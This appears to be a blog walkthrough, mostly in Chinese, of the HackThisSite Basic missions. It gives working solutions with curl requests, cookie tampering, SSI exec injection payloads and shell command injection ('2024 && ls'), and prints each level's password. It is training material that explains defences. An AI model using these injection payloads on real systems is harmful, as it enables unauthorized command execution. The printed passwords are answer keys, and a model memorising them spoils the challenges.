Hello Navi

Tech, Security & Personal Notes

Challenge

This time Sam used a more temporary and "hidden" approach to authenticating users, but he didn't think about whether or not those users knew their way around javascript...

Sam 使用了一种更临时、更"隐蔽"的方式来认证用户,但他没考虑到用户是否懂 JavaScript。

页面有一个密码输入框。

Solution

访问页面时,服务器会设置一个 cookie:

1
Set-Cookie: level10_authorized=no

提交密码时,服务器检查这个 cookie 的值。如果 level10_authorized=no,则拒绝访问。

解法:将 cookie 值改为 yes,然后提交表单。

方式一:浏览器开发者工具 Console:

1
document.cookie = "level10_authorized=yes";

方式二:curl:

1
2
3
4
5
$ curl -sL \
-b 'HackThisSite=YOUR_COOKIE; level10_authorized=yes' \
-e 'https://www.hackthissite.org/missions/basic/10/' \
-d 'password=' \
'https://www.hackthissite.org/missions/basic/10/index.php'

核心知识点:Cookie 是存储在客户端的,用户可以随意修改。不要依赖客户端 cookie 来做安全认证决策。任何存储在客户端的状态都可以被篡改。

Challenge

Network Security Sam is going down with the ship - he's determined to keep obscuring the password file, no matter how many times people manage to recover it. This time the file is saved in /var/www/hackthissite.org/html/missions/basic/9/.

In the last level, however, in my attempt to limit people to using server side includes to display the directory listing to level 8 only, I have mistakenly screwed up somewhere.. there is a way to get the obscured level 9 password.

Sam 坚持继续藏密码文件。这次藏在 /missions/basic/9/ 目录。 但他承认上一关的限制搞砸了——仍然有办法获取 level 9 的密码。

注意:这一关页面没有输入框(除了密码框),没有可直接注入的地方。

Solution

题目暗示上一关的 SSI 漏洞仍然可以利用来访问 level 9 的密码。

回到 Basic 8 的 level8.php,再次使用 SSI 注入,但这次将路径指向 level 9 的目录:

1
<!--#exec cmd="ls ../9/" -->

提交后访问生成的 .shtml 文件,输出显示 level 9 目录内容:

1
2
index.php
p91e283zc3.php ← 密码文件

访问 https://www.hackthissite.org/missions/basic/9/p91e283zc3.php 获取密码。

核心知识点: 1. 修复一个漏洞时要确保修复彻底——不能只限制某个特定范围就以为安全了 2. 路径遍历(directory traversal)可以突破相对路径限制

1883004c

Challenge

Sam remains confident that an obscured password file is still the best idea, but he screwed up with the calendar program. Sam has saved the unencrypted password file in /var/www/hackthissite.org/html/missions/basic/8/

Sam 仍然认为把密码文件藏起来是个好办法。密码文件保存在 /missions/basic/8/ 目录下。

Sam 的女儿 Stephanie 刚学了 PHP,她写了一个脚本来展示保存文件的能力。

页面有一个"Enter your name"输入框,还有一个密码输入框。

Solution

Stephanie 的脚本会保存用户输入的名字到一个 .shtml 文件中。.shtml 是 Server-Side Includes (SSI) 文件,服务器会解析其中的 SSI 指令。

尝试输入 SSI exec 指令来执行 shell 命令:

1
<!--#exec cmd="ls ../" -->

提交后,页面返回一个链接指向生成的 .shtml 文件(如 tmp/fyrvqqak.shtml)。访问这个链接,服务器会解析 SSI 指令并执行 ls ../,输出 /missions/basic/8/ 目录的内容:

1
2
3
4
au12ha39vc.php    ← 密码文件
index.php
level8.php
tmp/

然后访问 https://www.hackthissite.org/missions/basic/8/au12ha39vc.php 获取密码。

注意:服务器限制了可执行的命令范围(只允许与查找密码文件相关的命令),但 ls 是被允许的。

核心知识点:SSI Injection(服务器端包含注入)。当用户输入被保存到 .shtml 文件并由服务器解析时,SSI 指令中的 exec 可以执行任意 shell 命令。防御方法:不要将用户输入存储在会被服务器解析的文件中,或严格过滤 SSI 特殊字符。

4046427a

Challenge

This time Network Security Sam has saved the unencrypted level7 password in an obscurely named file saved in this very directory. In other unrelated news, Sam has set up a script that returns the output from the UNIX cal command.

Sam 把未加密的密码文件保存在当前目录下,文件名很隐蔽。另外,Sam 还设置了一个脚本,可以返回 UNIX cal 命令的输出。

页面有一个输入框,可以输入年份查看日历,调用的是后端的 cal.pl Perl 脚本。

Solution

关键线索: 1. 密码文件在当前目录(/missions/basic/7/) 2. 页面调用 UNIX cal 命令 3. 可以通过这个表单执行命令

在 UNIX 中,可以用 && 连接多个命令。cal 2024 && ls 会先输出日历,然后列出当前目录的文件。

2024 && ls 输入到表单中:

1
2
3
4
$ curl -sL -b 'HackThisSite=YOUR_COOKIE' \
-e 'https://www.hackthissite.org/missions/basic/7/' \
--data-urlencode 'cal=2024 && ls' \
'https://www.hackthissite.org/missions/basic/7/cal.pl'

在日历输出之后,会看到目录中的文件列表:

1
2
3
index.php
level7.php
k1kh31b1n55h.php ← 这就是密码文件

访问 https://www.hackthissite.org/missions/basic/7/k1kh31b1n55h.php 即可获取密码。

核心知识点:Command Injection(命令注入)。当用户输入被直接拼接到 shell 命令中时,攻击者可以用 &&;| 等 shell 操作符注入额外的命令。防御方法是使用参数化调用(如 Python 的 subprocess.runshell=False),或严格过滤输入。

00d7c5f8

Challenge

Network Security Sam has encrypted his password. The encryption system is publically available and can be accessed with this form.

Sam 把他的密码加密了。加密系统是公开的,可以通过页面上的表单访问。

已知加密后的密码:477djk?=

页面提供了一个加密工具,可以输入任意字符串查看加密结果。

Solution

这题需要逆向加密算法。先用加密工具测试几组已知明文,观察规律:

输入 aaaa(4个相同的字符):

1
aaaa → abcd

规律很明显:每个字符的 ASCII 值加上了它的位置索引(从0开始)。

1
2
3
4
a(0) + 0 = a
a(1) + 1 = b
a(2) + 2 = c
a(3) + 3 = d

所以加密公式是:encrypted[i] = chr(ord(plaintext[i]) + i)

解密即为逆操作:plaintext[i] = chr(ord(encrypted[i]) - i)

Python 解密脚本:

1
2
3
4
5
encrypted = "477djk?="
decrypted = ""
for i, c in enumerate(encrypted):
decrypted += chr(ord(c) - i)
print(decrypted) # 465aff96

验证:重新加密 465aff96

1
2
3
4
5
6
7
8
4 + 0 = 4
6 + 1 = 7
5 + 2 = 7
a + 3 = d
f + 4 = j
f + 5 = k
9 + 6 = ?
6 + 7 = =

结果:477djk?=,与已知密文完全匹配。

自定义加密算法如果有公开的加密 oracle(可以任意加密已知明文),攻击者可以通过 chosen-plaintext attack 推导出算法逻辑,进而解密任意密文。

465aff96

Challenge

Sam has gotten wise to all the people who wrote their own forms to get the password. Rather than actually learn the password, he decided to make his email program a little more secure.

Sam 发现很多人自己写表单来获取密码。他没有去真正学密码,而是让邮件程序变得更安全了一些。

Solution

这题和 Basic 4 基本一样,只是增加了 Referer 验证。服务端会检查请求来源是否来自 /missions/basic/5/ 页面本身。

解决方法完全相同——修改隐藏的 to 字段,但必须同时发送正确的 Referer:

1
2
3
4
$ curl -sL -b 'HackThisSite=YOUR_COOKIE' \
-e 'https://www.hackthissite.org/missions/basic/5/' \
-d 'to=YOUR_EMAIL' \
'https://www.hackthissite.org/missions/basic/5/level5.php'

-e 参数设置 Referer header。如果不带 Referer 或 Referer 不匹配,会返回 Invalid Referer 错误。

核心知识点:Referer header 同样可以被伪造。它不是安全机制,不能用来防止跨站请求。唯一可靠的防御是服务端独立验证权限。

92bf24e2

Challenge

This time Sam hardcoded the password into the script. However, the password is long and complex, and Sam is often forgetful. So he wrote a script that would email his password to him automatically in case he forgot.

这次 Sam 把密码硬编码在脚本里了。密码很长很复杂,而 Sam 经常忘,所以他写了一个脚本,会自动把密码发送到他的邮箱。

页面上有两个表单: - 一个"Send password to Sam"按钮 - 一个密码输入框

Solution

查看源代码,发现"Send password to Sam"按钮对应的表单里有一个隐藏字段:

1
2
3
4
<form action="/missions/basic/4/level4.php" method="post">
<input type="hidden" name="to" value="sam@hackthissite.org" />
<input type="submit" value="Send password to Sam" />
</form>

收件人地址 sam@hackthissite.org 是硬编码的。只需将 to 字段的值改成你自己的邮箱地址,然后提交——密码就会发到你的邮箱。

修改方式: 1. 浏览器开发者工具(F12)→ Elements → 直接修改 value="sam@hackthissite.org" 为你的邮箱 2. 或者用 curl 直接 POST:

1
2
3
4
$ curl -sL -b 'HackThisSite=YOUR_COOKIE' \
-e 'https://www.hackthissite.org/missions/basic/4/' \
-d 'to=YOUR_EMAIL' \
'https://www.hackthissite.org/missions/basic/4/level4.php'

然后去邮箱查收密码。

客户端表单验证毫无意义。任何隐藏字段都可以被修改,任何表单都可以被自定义提交。服务端必须独立验证所有输入。

206a6f9d

Challenge

This time Network Security Sam remembered to upload the password file, but there were deeper problems than that.

这次 Sam 记得上传密码文件了,但问题比这更深层。

页面上有一个密码输入框。查看源代码后发现一个隐藏的表单字段:

1
<input type="hidden" name="file" value="password.php" />

Solution

HTML 表单中的 hidden 类型字段对用户来说完全是可见的——只要查看源代码就能看到。这里隐藏字段暴露了密码文件的路径:password.php

直接在浏览器中访问这个文件即可获得密码:

1
https://www.hackthissite.org/missions/basic/3/password.php

页面会直接返回密码内容。

e656d2bd

Challenge

Network Security Sam set up a password protection script. He made it load the real password from an unencrypted text file and compare it to the password the user enters. However, he neglected to upload the password file...

Sam 设置了一个密码保护脚本,从一个未加密的文本文件中加载真实密码进行比对。然而他忘了上传密码文件。

Solution

这道题考察的是逻辑思维。脚本从文件加载密码来比对用户输入。如果密码文件不存在,脚本就无法加载任何内容来比对。

当你提交一个空密码时,脚本试图将空字符串与一个不存在的文件内容比对——两者都是空值,所以比对通过。

直接在密码框中什么都不输入,点击 submit 即可。

核心知识点:如果密码文件缺失,认证系统可能默认接受任何输入(甚至空输入)。实际部署中应该对文件缺失的情况做防御性处理。

Challenge

This level is what we call "The Idiot Test", if you can't complete it, don't give up on learning all you can, but, don't go begging to someone else for the answer, thats one way to get you hated/made fun of.

这一关被称为"白痴测试",如果你无法完成,别放弃学习,但不要去求别人给你答案。

页面上有一个密码输入框,需要找到密码才能过关。

Solution

最基本的 web 安全入门:查看网页源代码。

右键查看页面源代码(或 Ctrl+U),然后搜索 password,会发现密码直接以 HTML 注释的形式嵌入在源码中:

1
<!-- the first few levels are extremely easy: password is 798ce5a6 -->
798ce5a6
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE